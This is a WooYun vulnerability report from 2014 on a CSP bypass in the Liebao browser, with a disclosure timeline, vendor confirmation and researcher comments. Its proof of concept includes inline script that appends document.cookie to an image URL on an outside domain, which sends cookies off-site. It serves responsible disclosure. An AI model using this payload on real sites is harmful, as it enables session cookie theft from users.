当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077123

漏洞标题:猎豹安全浏览器CSP安全策略绕过

相关厂商:金山网络

漏洞作者: phith0n

提交时间:2014-09-24 08:44

修复时间:2014-12-23 08:46

公开时间:2014-12-23 08:46

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-24: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商已经确认,细节仅向厂商公开
2014-09-29: 细节向第三方安全合作伙伴开放
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-23: 细节向公众公开

简要描述:

最近浏览器漏洞很火啊。。。于是我也默默地围观了一下。
我平时使用猎豹比较多,最近又在研究CSP,所以偶然发现了这个BUG,在其他国产浏览器中都不存在,甚至在某些webkit版本比猎豹低的浏览器内核都不存在这个问题,不知道猎豹是怎么处理的。
自己研究的。。。应该不是低版本webkit内核的问题,测试其他浏览器都正常。

详细说明:

CSP安全策略我想很多人并不陌生,我就不多介绍了。简单来说就是预防XSS的策略,比如禁止eval函数、默认禁止内联script和style、页面只能加载指定来源的内容等,让很多情况下就算你有xss漏洞,但没法将获得的信息(如cookie等)发给攻击者,使之利用效果降低很多。
但如果一旦有一种方法绕过csp策略,整个防御体系就会崩塌,这个漏洞既是如此。
首先,猎豹最新版本:

001.jpg


User-agent显示其基于chrome/34

002.jpg


如下POC:

<?php
header("Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'; ");
?>
<p>hello world</p>
<script>
document.body.style.backgroundImage="url(http://www.leavesongs.com/content/templates/deep/images/logo.png?cookie="+escape(document.cookie)+")";
</script>


首先Content-Security-Policy设置为

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline';


这是比较常见的csp设置。默认的不允许加载任意外部来源的资源。
允许内联javascript,允许包括<script>和所有on**事件等执行javascript,基本所有网站都是允许的,因为大部分网站都是存在一些内联javascript的。
猎豹访问http://mhz.pw/csp/csp.php,可发现从mhz.pw域下加载了www.leavesongs.com域下的图片(http://www.leavesongs.com/content/templates/deep/images/logo.png)作为网站背景,同时也把打到的cookie传了出去:

003.jpg


006.jpg


正常chrome是不存在这个问题的:

004.jpg


查看控制台发现被csp拦截:

005.jpg

漏洞证明:

003.jpg


006.jpg

修复方案:

不知道怎么处理的。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-09-26 09:29

厂商回复:

非常感谢。经过与洞主的沟通复现确认,结合浏览器插件可以触发所描述的现象。我们将尽快推进修补。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-24 09:11 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    ph 牛 前排占位

  2. 2014-09-24 10:24 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    这个貌似是个误会 html标签里没有域的概念吧 洞主证明证明可以跨域获取其他站的数据吧

  3. 2014-09-24 10:51 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

    @xsser CSP 不一定是用来限制域的,还可以限制网页中使用直接写JS。

  4. 2014-09-24 11:34 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Sogili 是啊 但是感觉有点......

  5. 2014-09-24 12:51 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    原来猎豹是金山出的。

  6. 2014-09-24 12:53 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    @mramydnei 原来猎豹是金山出的

  7. 2014-09-24 23:43 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @xsser html没有域,但是csp有的~如果是跨域获取其他站的数据那就是SOP绕过了,那个严重很多倍。

  8. 2014-09-25 10:30 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @phith0n 对的撒 - - 我以为csp和sop是一样的

  9. 2014-09-25 10:31 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    @xsser ....剑心你又卖萌了。。。

  10. 2014-09-27 13:47 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    默认插件的问题,禁用了就好了

  11. 2014-10-16 09:47 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    http://drops.wooyun.org/tips/1439